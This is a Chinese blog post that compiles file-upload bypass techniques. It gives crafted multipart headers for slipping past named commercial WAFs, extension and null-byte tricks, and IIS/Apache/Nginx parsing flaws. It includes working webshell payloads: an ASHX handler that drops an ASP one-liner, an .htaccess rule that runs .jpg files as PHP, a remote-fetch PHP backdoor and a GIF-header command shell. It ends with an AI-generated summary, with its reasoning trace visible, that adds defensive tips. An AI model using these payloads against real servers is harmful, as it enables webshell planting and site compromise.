上传绕过整理

这篇博客整理了各种上传绕过方法,包括WAF绕过,如安全狗、WTS-WAF、百度云、阿里云和360主机的绕过策略;黑名单和白名单后缀绕过技巧,如00截断、MIME类型、解析漏洞利用;还有前端限制、下载和文件包含绕过的手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

上传绕过整理

WAF绕过

安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data;            修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition    修改为content-Disposition
将 form-data            修改为Form-data
将 Content-Type         修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data          冒号后面 增加或减少一个空格
将form-data; name="file";                分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream   冒号后面 增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为   f+orm-data
将 from-data 修改为   form-d+ata

5.双文件上传绕过

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

MIME类型绕过

上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

文件内容检测绕过

抓包,在正常图片末尾添加一句话木马

多次上传Win特性绕过

多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。

条件竞争绕过

通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过

针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

文件内容检测绕过

针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件幻术头绕过

垃圾数据填充绕过

修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过

文件扩展名绕过

Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

ashx上传绕过

cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp  密码为:put
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";

        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
        //这里是写入一句话木马   密码是:ptu
        file1.Write("<%response.clear:execute request("put"):response.End%>");
        file1.Flush();
        file1.Close();       
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}

特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

Windows流特性绕过

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过

00截断绕过上传

php .jpg   空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/

htaccess解析漏洞

上传的jpg文件都会以php格式解析
.htaccess内容:
AddType    application/x-httpd-php    .jpg

突破MIME限制上传

方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

Nginx解析漏洞

解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制绕过

1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

下载绕过

远程下载文件绕过

<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>

文件包含绕过

上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
<think>好的,我现在需要整理一份关于文件上传白名单绕过方法的汇总。首先,我应该回顾一下常见的文件上传漏洞及其防御机制,特别是白名单验证的原理。用户可能已经了解基础的黑名单绕过方法,但白名单通常更安全,所以需要深入探讨如何绕过白名单。 首先,白名单验证通常基于文件扩展名,只允许特定类型如.jpg、.png等。但攻击者可能会尝试修改扩展名,比如使用大小写混合,比如.PHp,或者添加特殊后缀如.php.jpg。不过现代服务器通常对大小写不敏感,这种方法可能不太有效,但需要确认。 接下来,考虑文件名中的特殊字符。例如,在Apache中,如果上传.php.xxxx,服务器可能因为无法识别最后一个后缀而回退到.php。或者利用截断,比如%00截断,但PHP版本升级后可能修复了这个问题,需要具体情况分析。 然后是MIME类型验证绕过。虽然白名单检查扩展名,但有些应用同时检查Content-Type,比如image/jpeg。攻击者可以修改上传请求中的MIME类型,但这可能不足以绕过双重检查。 文件内容验证也是一个点。例如,图片马,将恶意代码附加到图片中,利用服务器端的解析漏洞。或者利用Exif信息注入PHP代码,但需要服务器有相应的解析漏洞。 路径或文件名解析漏洞。比如上传的文件名为test.jpg.php,某些服务器可能解析为PHP。或者在IIS中,分号后的内容被忽略,如test.asp;.jpg可能被当作asp执行。 此外,还有.htaccess或web.config文件的上传,如果允许覆盖服务器配置,攻击者可能执行任意文件类型。但白名单通常不允许上传这些配置文件,所以可能性较低,但需要检查是否存在配置错误。 还有利用双扩展名,比如test.php.jpg,依赖于服务器解析方式。或者使用罕见扩展名,如.pHp5、.phtml等,如果服务器配置为执行这些扩展名。 另外,考虑上传的文件被重命名时的竞争条件,但白名单通常重命名不会保留原扩展名,可能不太适用。 需要收集实际案例和具体服务器的特性,比如Apache、IIS、Nginx的不同解析方式。例如,Nginx可能将test.jpg/.php解析为php执行,如果配置不当。 最后,总结这些方法,并提醒防御措施,如严格检查扩展名、使用随机文件名、禁用危险功能等。同时强调组合验证的重要性,如扩展名、MIME、文件头、内容扫描等。</think>### 文件上传白名单绕过方法汇总 文件上传白名单机制通过**仅允许指定扩展名**(如 `.jpg`, `.png`)来防御攻击,但攻击者仍可能通过以下方式绕过: --- #### 一、扩展名伪造类 1. **大小写混淆** - 例:上传 `.PhP` 或 `.Jsp`,若服务端未统一转为小写,可能绕过检查。 - 防御:强制转为小写后校验。 2. **多重扩展名** - 例:`shell.php.jpg`,利用部分解析漏洞(如 Apache 优先解析最后一个有效后缀)。 - 防御:仅取最后一个扩展名校验。 3. **特殊字符截断** - 例:`shell.php%00.jpg`(需 PHP <5.3.4),利用空字节截断文件名。 - 防御:过滤 `%00` 等非法字符。 --- #### 二、解析漏洞类 1. **服务器解析特性** - **Apache**:上传 `shell.php.xxx`,若 `.xxx` 未被识别,可能解析为 `.php`。 - **IIS**:`shell.asp;.jpg` 可能被解析为 `.asp`(分号截断特性)。 - **Nginx**:路径 `/test.jpg/.php` 可能触发 PHP 解析(错误配置时)。 2. **文件包含漏洞组合利用** - 上传图片马(如 `shell.jpg` 含 PHP 代码),通过文件包含漏洞(如 `include($_GET['file'])`)执行。 --- #### 三、内容欺骗类 1. **文件头伪造** - 在恶意脚本前添加图片头(如 `GIF89a`),绕过文件内容检测。 - 例:`GIF89a<?php system($_GET['cmd']); ?>` 2. **Exif 注入** - 修改图片的 Exif 信息插入 PHP 代码,需服务器存在解析漏洞。 --- #### 四、配置攻击类 1. **上传 `.htaccess` 或 `web.config`** - 若允许上传配置文件,可修改规则使任意文件解析为脚本。 - 例(.htaccess): ```apache AddType application/x-httpd-php .jpg ``` --- #### 五、其他技巧 1. **超长文件名绕过** - 部分系统截断超长文件名时可能保留恶意扩展名。 2. **竞争条件攻击** - 上传临时文件后,在删除前快速访问执行。 --- ### 防御建议 1. **严格校验扩展名**:使用白名单且强制小写。 2. **重命名文件**:生成随机文件名(如 UUID)。 3. **内容检查**:校验文件头、MIME 类型及内容合法性。 4. **禁用危险函数**:如 `putenv()`、`system()`。 5. **隔离存储**:将上传文件存放在非 Web 目录。 --- 通过组合多种验证机制(扩展名 + 内容 + 重命名)可大幅提升安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值